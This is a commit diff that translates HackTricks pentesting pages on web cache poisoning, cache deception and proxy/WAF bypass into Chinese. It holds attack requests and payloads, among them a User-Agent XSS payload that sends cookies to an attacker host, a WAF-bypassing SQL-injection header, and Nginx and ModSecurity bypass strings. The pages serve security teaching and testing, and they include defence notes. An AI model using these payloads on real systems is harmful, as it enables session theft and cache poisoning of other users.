Translated ['src/pentesting-web/proxy-waf-protections-bypass.md', 'src/p

This commit is contained in:
Translator 2025-08-21 06:07:38 +00:00
parent b5e3e23d69
commit 3948232288
2 changed files with 147 additions and 91 deletions

View File

@ -4,28 +4,28 @@
## The difference
> **web cache poisoning 和 web cache deception 之间有什么区别?**
> **Web缓存中毒和Web缓存欺骗之间有什么区别?**
>
> - 在 **web cache poisoning** 中,攻击者使应用程序在缓存中存储一些恶意内容,并且这些内容从缓存中提供给其他应用程序用户。
> - 在 **web cache deception** 中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
> - 在**Web缓存中毒**中,攻击者使应用程序在缓存中存储一些恶意内容,并且这些内容从缓存中提供给其他应用程序用户。
> - 在**Web缓存欺骗**中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
## Cache Poisoning
Cache poisoning 旨在操纵客户端缓存,以强制客户端加载意外、部分或由攻击者控制的资源。影响的程度取决于受影响页面的受欢迎程度,因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。
缓存中毒旨在操纵客户端缓存,强迫客户端加载意外、部分或由攻击者控制的资源。影响的程度取决于受影响页面的受欢迎程度,因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。
执行 cache poisoning 攻击涉及几个步骤:
执行缓存中毒攻击涉及几个步骤:
1. **识别未键入的输入**:这些是参数,尽管不是请求缓存所必需的,但可以改变服务器返回的响应。识别这些输入至关重要,因为它们可以被利用来操纵缓存。
2. **利用未键入的输入**:在识别未键入的输入后,下一步是弄清楚如何滥用这些参数,以修改服务器的响应,从而使攻击者受益。
1. **识别无键输入**:这些是参数,尽管不是请求缓存所必需的,但可以改变服务器返回的响应。识别这些输入至关重要,因为它们可以被利用来操纵缓存。
2. **利用无键输入**:在识别无键输入后,下一步是弄清楚如何滥用这些参数,以修改服务器的响应,从而使攻击者受益。
3. **确保被污染的响应被缓存**:最后一步是确保被操纵的响应被存储在缓存中。这样,任何在缓存被污染时访问受影响页面的用户将收到被污染的响应。
### Discovery: Check HTTP headers
通常,当响应被 **存储在缓存中** 时,会有一个 **指示的头部**,您可以在此帖子中检查您应该关注哪些头部:[**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
通常,当响应被**存储在缓存中**时,会有一个**指示的头部**,您可以在此帖子中检查应该关注哪些头部:[**HTTP缓存头部**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
### Discovery: Caching error codes
如果您认为响应正在被存储在缓存中,您可以尝试 **发送带有错误头部的请求**,这应该会以 **状态码 400** 响应。然后尝试正常访问请求,如果 **响应是 400 状态码**,您就知道它是脆弱的(您甚至可以执行 DoS
如果您认为响应正在被存储在缓存中,您可以尝试**发送带有错误头部的请求**,这应该会以**状态码400**响应。然后尝试正常访问请求,如果**响应是400状态码**您就知道它是脆弱的您甚至可以执行DoS
您可以在以下位置找到更多选项:
@ -33,30 +33,30 @@ Cache poisoning 旨在操纵客户端缓存,以强制客户端加载意外、
cache-poisoning-to-dos.md
{{#endref}}
但是,请注意 **有时这些状态码不会被缓存**,因此此测试可能不可靠。
但是,请注意**有时这些状态码不会被缓存**,因此此测试可能不可靠。
### Discovery: Identify and evaluate unkeyed inputs
您可以使用 [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)**暴力破解可能会改变页面响应的参数和头部**。例如,一个页面可能使用头部 `X-Forwarded-For` 来指示客户端从那里加载脚本:
您可以使用[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)来**暴力破解可能**改变页面响应的**参数和头部**。例如,一个页面可能使用头部`X-Forwarded-For`来指示客户端从那里加载脚本:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### 从后端服务器引发有害响应
通过识别的参数/头部检查它是如何被**清理**的,以及**在哪里**被**反映**或影响响应。你能以任何方式滥用它吗执行XSS或加载你控制的JS代码执行DoS...
在识别出参数/头部后,检查它是如何被**清理**的,以及它**在哪里**被**反映**或影响响应。你能以任何方式滥用它吗执行XSS或加载你控制的JS代码执行DoS...
### 获取缓存的响应
一旦你**识别**可以被滥用的**页面**,使用哪个**参数**/**头部**以及**如何**滥用它,你需要让页面被缓存。根据你尝试缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。
一旦你**识别**可以被滥用的**页面**,使用哪个**参数**/**头部**以及**如何**滥用它,你需要让页面被缓存。根据你尝试缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。
响应中的头部**`X-Cache`**可能非常有用,因为当请求未被缓存时,它的值可能是**`miss`**,而当被缓存时,它的值是**`hit`**。\
头部**`Cache-Control`**也很有趣,可以知道资源是否被缓存,以及下次资源将何时再次被缓存:`Cache-Control: public, max-age=1800`
另一个有趣的头部是**`Vary`**。这个头部通常用于**指示额外的头部**,这些头部被视为**缓存键的一部分**,即使它们通常没有键。因此,如果用户知道他所针对的受害者的`User-Agent`,他可以为使用该特定`User-Agent`的用户毒化缓存。
与缓存相关的另一个头部是**`Age`**。它定义了对象在代理缓存中存在的时间(以秒为单位)。
另一个与缓存相关的头部是**`Age`**。它定义了对象在代理缓存中存在的时间(以秒为单位)。
在缓存请求时,要**小心使用的头部**,因为其中一些可能会被**意外使用**为**键**,而**受害者需要使用相同的头部**。始终使用**不同的浏览器测试**缓存中毒是否有效。
在缓存请求时,要**小心使用的头部**,因为其中一些可能会被**意外使用**为**键**,而**受害者需要使用相同的头部**。始终使用**不同的浏览器**测试缓存中毒,以检查其是否有效。
## 利用示例
@ -95,7 +95,7 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
注意,如果易受攻击的 cookie 被用户频繁使用,常规请求将清除缓存。
### 生成带有分隔符、规范化和点的差异 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### 使用分隔符、规范化和点生成差异 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
检查:
@ -115,16 +115,16 @@ cache-poisoning-via-url-discrepancies.md
### 使用多个头部来利用 web 缓存污染漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
有时您需要 **利用多个无键输入** 来滥用缓存。例如,如果您将 `X-Forwarded-Host` 设置为您控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,您可能会发现一个 **开放重定向**。**如果** 服务器 **将** 所有 **HTTP** 请求 **转发****HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制页面重定向指向。
有时您需要 **利用多个无键输入** 来滥用缓存。例如,如果您将 `X-Forwarded-Host` 设置为您控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,您可能会发现一个 **开放重定向**。**如果** 服务器 **将** 所有 **HTTP** 请求 **转发****HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### 利用有限的 `Vary`
### 利用有限的 `Vary`
如果你发现 **`X-Host`** 头被用作 **加载 JS 资源的域名**,但响应中的 **`Vary`** 头指示 **`User-Agent`**。那么,你需要找到一种方法来提取受害者的 User-Agent 并使用该用户代理来污染缓存:
如果你发现 **`X-Host`** 头被用作 **加载 JS 资源的域名**,但响应中的 **`Vary`** 头指示 **`User-Agent`**。那么,你需要找到一种方法来提取受害者的 User-Agent并使用该用户代理来污染缓存:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -133,7 +133,7 @@ X-Host: attacker.com
```
### Fat Get
发送一个GET请求URL和请求体中都包含请求。如果web服务器使用请求体中的内容但缓存服务器缓存的是URL中的内容那么任何访问该URL的人实际上将使用请求体中的参数。就像James Kettle在Github网站上发现的漏洞
发送一个带有请求的 GET 请求URL 和请求体中都包含请求。如果 web 服务器使用请求体中的内容,但缓存服务器缓存了 URL 中的内容,那么任何访问该 URL 的人实际上将使用请求体中的参数。就像 James Kettle Github 网站上发现的漏洞:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -142,57 +142,93 @@ Content-Length: 22
report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
有一个关于此的portswigger实验室[https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### 参数伪装
例如,在 ruby 服务器中,可以使用字符 **`;`** 而不是 **`&`** 来分隔 **参数**。这可以用来将无键参数值放入有键参数中并加以利用。
例如在ruby服务器中可以使用字符**`;`**而不是**`&`**来分隔**参数**。这可以用来将无键参数值放入有键参数中并加以利用。
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
Portswigger实验室:[https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### 通过滥用 HTTP 请求走私来利用 HTTP 缓存中毒
### 通过滥用HTTP请求走私来利用HTTP缓存中毒
在这里了解如何通过滥用 [HTTP 请求走私进行缓存中毒攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)。
在这里了解如何通过滥用[HTTP请求走私进行缓存中毒攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)。
### Web 缓存中毒的自动化测试
### Web缓存中毒的自动化测试
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) 可用于自动测试 Web 缓存中毒。它支持多种不同的技术,并且高度可定制。
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)可用于自动测试Web缓存中毒。它支持多种不同的技术并且高度可定制。
示例用法: `wcvs -u example.com`
示例用法:`wcvs -u example.com`
### Header-reflection XSS + CDN/WAF辅助缓存播种User-Agent自动缓存的.js
这种现实世界模式将基于头部的反射原语与CDN/WAF行为链在一起以可靠地毒化提供给其他用户的缓存HTML
- 主要HTML反射了一个不受信任的请求头例如`User-Agent`)到可执行上下文中。
- CDN剥离了缓存头但存在内部/源缓存。CDN还自动缓存以静态扩展名例如`.js`结尾的请求而WAF对静态资产的GET请求应用了较弱的内容检查。
- 请求流的奇特性允许对`.js`路径的请求影响后续主要HTML使用的缓存键/变体从而通过头部反射实现跨用户XSS。
实用配方在一个流行的CDN/WAF中观察到
1) 从一个干净的IP避免之前基于声誉的降级通过浏览器或Burp Proxy Match & Replace设置一个恶意的`User-Agent`
2) 在Burp Repeater中准备一组两个请求并使用“并行发送组”单包模式效果最佳
- 第一个请求GET同一来源上的`.js`资源路径,同时发送你的恶意`User-Agent`
- 紧接着GET主页面`/`)。
3) CDN/WAF路由竞争加上自动缓存的`.js`通常会播种一个被毒化的缓存HTML变体然后提供给共享相同缓存键条件的其他访客例如具有相同`Vary`维度如`User-Agent`)。
示例头部有效负载用于提取非HttpOnly cookies
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
操作提示:
- 许多CDN隐藏缓存头中毒可能仅在多小时刷新周期中出现。使用多个视角IP并限制速率以避免触发速率限制或声誉。
- 有时使用CDN自身云中的IP可以改善路由一致性。
- 如果存在严格的CSP只要反射在主HTML上下文中执行并且CSP允许内联执行或被上下文绕过这仍然有效。
影响:
- 如果会话cookie不是`HttpOnly`,则通过大规模提取所有用户的`document.cookie`可能实现零点击的ATO。
防御:
- 停止将请求头反射到HTML中如果不可避免严格上下文编码。对齐CDN和源缓存策略避免在不受信任的头上变化。
- 确保WAF对`.js`请求和静态路径一致地应用内容检查。
- 在会话cookie上设置`HttpOnly`(以及`Secure``SameSite`)。
## 漏洞示例
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS 在不去除 URL 中片段的情况下转发了该片段,并仅使用主机、路径和查询生成缓存键(忽略片段)。因此,请求 `/#/../?r=javascript:alert(1)` 被发送到后端为 `/#/../?r=javascript:alert(1)`,而缓存键中没有负载,仅有主机、路径和查询。
ATS在URL中转发片段而不去除它,并仅使用主机、路径和查询生成缓存键(忽略片段)。因此,请求`/#/../?r=javascript:alert(1)`被发送到后端为`/#/../?r=javascript:alert(1)`,而缓存键中没有有效负载,仅有主机、路径和查询。
### GitHub CP-DoS
在 content-type 头中发送错误值触发了 405 缓存响应。缓存键包含 cookie因此只能攻击未授权用户。
content-type头中发送错误值触发了405缓存响应。缓存键包含cookie因此只能攻击未认证用户。
### GitLab + GCP CP-DoS
GitLab 使用 GCP 存储桶来存储静态内容。**GCP 存储桶** 支持 **头部 `x-http-method-override`**。因此,可以发送头部 `x-http-method-override: HEAD` 并使缓存中毒以返回空响应体。它还可以支持 `PURGE` 方法。
GitLab使用GCP桶存储静态内容。**GCP桶**支持**头`x-http-method-override`**。因此,可以发送头`x-http-method-override: HEAD`并使缓存返回空响应体。它还可以支持`PURGE`方法。
### Rack 中间件 (Ruby on Rails)
### Rack Middleware (Ruby on Rails)
在 Ruby on Rails 应用程序中,通常使用 Rack 中间件。Rack 代码的目的是获取 **`x-forwarded-scheme`** 头的值并将其设置为请求的方案。当发送头 `x-forwarded-scheme: http` 时,会发生 301 重定向到相同位置,可能导致该资源的拒绝服务 (DoS)。此外,应用程序可能会识别 `X-forwarded-host` 头并将用户重定向到指定主机。这种行为可能导致从攻击者的服务器加载 JavaScript 文件,从而带来安全风险。
在Ruby on Rails应用程序中通常使用Rack中间件。Rack代码的目的是获取**`x-forwarded-scheme`**头的值并将其设置为请求的方案。当发送头`x-forwarded-scheme: http`会发生301重定向到相同位置可能导致该资源的拒绝服务DoS。此外应用程序可能会识别`X-forwarded-host`头并将用户重定向到指定主机。这种行为可能导致从攻击者的服务器加载JavaScript文件构成安全风险。
### 403 和存储桶
### 403和存储桶
Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3 或 Azure 存储 Blob 会导致 403 响应被缓存。尽管 Cloudflare 已停止缓存 403 响应,但这种行为可能仍然存在于其他代理服务中。
Cloudflare之前缓存403响应。尝试使用不正确的授权头访问S3或Azure存储Blob将导致403响应被缓存。尽管Cloudflare已停止缓存403响应但这种行为可能仍存在于其他代理服务中。
### 注入键参数
缓存通常在缓存键中包含特定的 GET 参数。例如Fastly 的 Varnish 在请求中缓存了 `size` 参数。然而,如果还发送了 URL 编码版本的参数(例如,`siz%65`)并带有错误值,则缓存键将使用正确的 `size` 参数构建。然而,后端将处理 URL 编码参数中的值。对第二个 `size` 参数进行 URL 编码导致缓存省略了它,但后端使用了它。将该参数的值设置为 0 会导致可缓存的 400 错误请求。
缓存通常在缓存键中包含特定的GET参数。例如Fastly的Varnish在请求中缓存`size`参数。然而如果发送了参数的URL编码版本例如`siz%65`)并且值错误,缓存键将使用正确的`size`参数构建。然而后端将处理URL编码参数中的值。对第二个`size`参数进行URL编码导致其被缓存省略但被后端使用。将该参数的值设置为0导致可缓存的400错误请求。
### 用户代理规则
一些开发人员阻止与高流量工具(如 FFUF 或 Nuclei匹配的用户代理的请求以管理服务器负载。讽刺的是这种方法可能引入诸如缓存中毒和 DoS 等漏洞。
一些开发人员阻止与高流量工具如FFUF或Nuclei匹配的用户代理的请求以管理服务器负载。讽刺的是这种方法可能引入漏洞如缓存中毒和DoS
### 非法头字段
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) 指定了头名称中可接受的字符。包含超出指定 **tchar** 范围的字符的头理想情况下应触发 400 错误请求响应。在实践中,服务器并不总是遵循此标准。一个显著的例子是 Akamai它转发包含无效字符的头并缓存任何 400 错误,只要 `cache-control` 头不存在。发现了一种可利用的模式,发送包含非法字符(如 `\`)的头会导致可缓存的 400 错误请求。
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)定了头名称中可接受的字符。包含超出指定**tchar**范围的字符的头理想情况下应触发400错误请求响应。在实践中服务器并不总是遵循此标准。一个显著的例子是Akamai它转发包含无效字符的头并缓存任何400错误只要`cache-control`头不存在。发现了一种可利用的模式,发送包含非法字符(如`\`的头将导致可缓存的400错误请求。
### 查找新头
@ -200,9 +236,9 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
## 缓存欺骗
缓存欺骗的目标是使客户端 **加载将被缓存保存的敏感信息的资源**
缓存欺骗的目标是使客户端**加载将被缓存保存的资源及其敏感信息**。
首先要注意的是,**扩展名**如 `.css``.js``.png` 等通常被 **配置****保存****缓存** 中。因此,如果您访问 `www.example.com/profile.php/nonexistent.js`,缓存可能会存储响应,因为它看到`.js` **扩展名**。但是,如果 **应用程序** 正在 **重放** 存储在 _www.example.com/profile.php_ 中的 **敏感** 用户内容,您可以 **窃取** 其他用户的这些内容。
首先请注意,**扩展名**如`.css``.js``.png`等通常被**配置**为**保存**在**缓存**中。因此,如果您访问`www.example.com/profile.php/nonexistent.js`,缓存可能会存储响应,因为它看到`.js`**扩展名**。但是,如果**应用程序**正在**重放**存储在_www.example.com/profile.php_中的**敏感**用户内容,您可以**窃取**其他用户的这些内容。
其他测试内容:
@ -214,18 +250,18 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
- _使用不太常见的扩展名如_ `.avif`
另一个非常清晰的例子可以在这篇文章中找到:[https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
在这个例子中,解释了如果您加载一个不存在的页面,如 _http://www.example.com/home.php/non-existent.css_,将返回 _http://www.example.com/home.php_ (**包含用户的敏感信息**),并且缓存服务器将保存结果。\
然后,**攻击者** 可以在自己的浏览器中访问 _http://www.example.com/home.php/non-existent.css_ 并观察之前访问的用户的 **机密信息**
在这个例子中解释了如果您加载一个不存在的页面如_http://www.example.com/home.php/non-existent.css_将返回_http://www.example.com/home.php_**包含用户的敏感信息**)的内容,并且缓存服务器将保存结果。\
然后,**攻击者**可以在自己的浏览器中访问_http://www.example.com/home.php/non-existent.css_并观察之前访问的用户的**机密信息**。
请注意,**缓存代理** 应该 **配置****根据** 文件的 **扩展名** (_.css_) **缓存** 文件,而不是根据内容类型。在示例 _http://www.example.com/home.php/non-existent.css_ 中,将具有 `text/html` 内容类型,而不是 `text/css` MIME 类型(这是 _.css_ 文件的预期类型)。
请注意,**缓存代理**应被**配置**为根据文件的**扩展名**_.css_而不是根据内容类型来**缓存**文件。在示例_http://www.example.com/home.php/non-existent.css_中将具有`text/html`内容类型,而不是`text/css` MIME类型这是_.css_文件的预期类型
在这里了解如何执行 [利用 HTTP 请求走私进行缓存欺骗攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)。
在这里了解如何执行[利用HTTP请求走私进行缓存欺骗攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)。
## 自动工具
## 自动工具
- [**toxicache**](https://github.com/xhzeem/toxicache)Golang 扫描器,用于在 URL 列表中查找 Web 缓存中毒漏洞并测试多种注入技术。
- [**toxicache**](https://github.com/xhzeem/toxicache)Golang扫描器用于在URL列表中查找Web缓存中毒漏洞并测试多种注入技术。
## 参考文献
## 参考
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
@ -233,6 +269,8 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [我如何在公共BBP中发现0点击账户接管并利用它访问管理员级功能](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,9 @@
# 代理 / WAF 保护绕过
# Proxy / WAF Protections Bypass
{{#include ../banners/hacktricks-training.md}}
## 通过路径名操作绕过 Nginx ACL 规则 <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
技术 [来自这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)。
@ -17,37 +17,37 @@ location = /admin/ {
deny all;
}
```
为了防止绕过Nginx 在检查路径之前执行路径规范化。然而,如果后端服务器执行不同的规范化(移除 Nginx 不移除的字符),可能绕过此防御。
为了防止绕过Nginx 在检查路径之前执行路径规范化。然而,如果后端服务器执行不同的规范化(移除 Nginx 不移除的字符),可能绕过此防御。
### **NodeJS - Express**
| Nginx 版本 | **Node.js 绕过字符** |
| --------- | --------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
| ---------- | --------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
### **Flask**
| Nginx 版本 | **Flask 绕过字符** |
| --------- | ------------------------------------------------------ |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| ---------- | -------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
### **Spring Boot**
| Nginx 版本 | **Spring Boot 绕过字符** |
| --------- | ------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
| ---------- | -------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### **PHP-FPM**
@ -74,7 +74,7 @@ deny all;
### 路径混淆
[**在这篇文章中**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) 解释了 ModSecurity v3直到 3.0.12**错误地实现了 `REQUEST_FILENAME`** 变量,该变量应包含访问的路径(直到参数开始)。这是因为它执行了 URL 解码以获取路径。\
[**在这篇文章中**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) 解释了 ModSecurity v3直到 3.0.12**不正确地实现了 `REQUEST_FILENAME`** 变量,该变量应包含访问的路径(直到参数开始)。这是因为它执行了 URL 解码以获取路径。\
因此,像 `http://example.com/foo%3f';alert(1);foo=` 这样的请求在 mod security 中将认为路径只是 `/foo`,因为 `%3f` 被转换为 `?`,结束了 URL 路径,但实际上服务器接收到的路径将是 `/foo%3f';alert(1);foo=`
变量 `REQUEST_BASENAME``PATH_INFO` 也受到此错误的影响。
@ -85,7 +85,7 @@ deny all;
### 格式错误的头部
[这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 提到可以通过发送一个“格式错误”的头部来绕过应用于 HTTP 头部的 AWS WAF 规则,该头部未被 AWS 正确解析,但被后端服务器解析
[这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 提到可以通过发送一个未被 AWS 正确解析但被后端服务器解析的“格式错误”的头部来绕过应用于 HTTP 头部的 AWS WAF 规则。
例如,发送以下请求,在头部 X-Query 中包含 SQL 注入:
```http
@ -96,34 +96,51 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
可以绕过 AWS WAF因为它无法理解下一行是头部值的一部分 NODEJS 服务器可以(这个问题已修复)。
可以绕过AWS WAF因为它无法理解下一行是头部值的一部分而NODEJS服务器可以这个问题已修复
## 通用 WAF 绕过
## 通用WAF绕过
### 请求大小限制
通常WAF 对请求的长度有一定的限制,如果 POST/PUT/PATCH 请求超过该限制WAF 将不会检查该请求。
通常WAF对请求的长度有一定的限制如果POST/PUT/PATCH请求超过该限制WAF将不会检查该请求。
- 对于 AWS WAF您可以 [**查看文档**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
- 对于AWS WAF您可以[**查看文档**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>可以检查的应用负载均衡器和 AWS AppSync 保护的 web 请求体的最大大小</td><td>8 KB</td></tr><tr><td>可以检查的 CloudFront、API Gateway、Amazon Cognito、App Runner 和 Verified Access 保护的 web 请求体的最大大小**</td><td>64 KB</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>可以检查的应用负载均衡器和AWS AppSync保护的最大Web请求体大小</td><td>8 KB</td></tr><tr><td>可以检查的CloudFront、API Gateway、Amazon Cognito、App Runner和Verified Access保护的最大Web请求体大小**</td><td>64 KB</td></tr></tbody></table>
- 来自 [**Azure 文档**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
- 来自[**Azure文档**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
较旧的 Web 应用防火墙使用核心规则集 3.1(或更低版本)允许大于 **128 KB** 的消息,通过关闭请求体检查,但这些消息不会被检查漏洞。对于较新版本(核心规则集 3.2 或更高版本),可以通过禁用最大请求体限制来实现。当请求超过大小限制时:
较旧的Web应用防火墙使用核心规则集3.1(或更低版本)允许大于**128 KB**的消息通过关闭请求体检查但这些消息不会被检查漏洞。对于较新版本核心规则集3.2或更高版本),可以通过禁用最大请求体限制来实现。当请求超过大小限制时:
如果是 **预防模式**:记录并阻止请求。\
如果是 **检测模式**:检查到限制,忽略其余部分,并在 `Content-Length` 超过限制时记录
如果是**预防模式**:记录并阻止请求。\
如果是**检测模式**:检查到限制,忽略其余部分,并记录如果`Content-Length`超过限制
- 来自 [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
- 来自[**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
默认情况下WAF 仅检查请求的前 8KB。通过添加高级元数据可以将限制提高到 128KB。
默认情况下WAF仅检查请求的前8KB。通过添加高级元数据可以将限制提高到128KB。
- 来自 [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
- 来自[**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
最多 128KB。
最多128KB。
### 混淆 <a href="#obfuscation" id="obfuscation"></a>
### 静态资产检查漏洞 (.js GETs)
一些CDN/WAF堆栈对静态资产的GET请求例如以`.js`结尾的路径应用弱或没有内容检查同时仍然应用全局规则如速率限制和IP声誉。结合静态扩展的自动缓存这可能被滥用以传递或播种影响后续HTML响应的恶意变体。
实际用例:
- 在GET请求到`.js`路径时,在不受信任的头部(例如`User-Agent`中发送有效负载以避免内容检查然后立即请求主HTML以影响缓存变体。
- 使用新鲜/干净的IP一旦IP被标记路由更改可能会使该技术不可靠。
